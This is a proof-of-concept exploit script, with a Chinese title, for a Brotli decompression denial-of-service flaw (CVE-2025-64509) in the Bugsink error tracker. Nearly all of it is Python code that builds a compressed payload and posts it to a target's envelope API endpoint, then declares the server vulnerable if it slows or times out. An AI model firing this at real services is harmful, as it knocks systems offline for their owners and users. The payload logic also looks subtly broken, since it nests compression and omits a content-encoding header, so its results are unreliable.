CVE-2025-64509 Bugsink Brotli解压缩拒绝服务漏洞

""" CVE-2025-64509 PoC - Bugsink Brotli Decompression DoS This PoC demonstrates the resource exhaustion vulnerability in Bugsink's Brotli decompression handling. Use responsibly and only against systems you have permission to test. """ import brotli import requests import time def generate_malicious_brotli_payload(): """ Generate a Brotli payload designed to cause excessive CPU time during decompression. This creates data with high compression ratio and complex dictionary references. """ # Create data that produces extreme compression ratio # This pattern causes the decompressor to perform excessive operations base_pattern = b'A' * 1000 compressed_data = brotli.compress(base_pattern * 500) # Further compress to create pathological case malicious_data = brotli.compress(compressed_data * 100) return malicious_data def exploit_cve_2025_64509(target_url, dsn): """ Send malicious Brotli payload to Bugsink endpoint Args: target_url: Base URL of the Bugsink instance dsn: Data Source Name for the target project """ payload = generate_malicious_brotli_payload() endpoint = f"{target_url}/api/1/envelope/" headers = { 'Content-Type': 'application/octet-stream', 'X-Sentry-Auth': f'Sentry sentry_version=7, sentry_client=badsentry/1.0, sentry_dsn={dsn}' } print(f"[*] Sending malicious Brotli payload to {endpoint}") print(f"[*] Payload size: {len(payload)} bytes") try: start_time = time.time() response = requests.post( endpoint, data=payload, headers=headers, timeout=30 ) elapsed = time.time() - start_time print(f"[*] Request completed in {elapsed:.2f} seconds") print(f"[*] Response status: {response.status_code}") # If server takes excessive time (>10s), vulnerability is confirmed if elapsed > 10: print("[+] VULNERABLE: Server spent excessive time processing request") else: print("[-] Server responded quickly - may be patched or not vulnerable") except requests.exceptions.Timeout: print("[+] VULNERABLE: Request timed out - server was overwhelmed") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": # Configuration - replace with your target TARGET_URL = "https://your-bugsink-instance.com" DSN = "https://[email protected]/project-id" exploit_cve_2025_64509(TARGET_URL, DSN)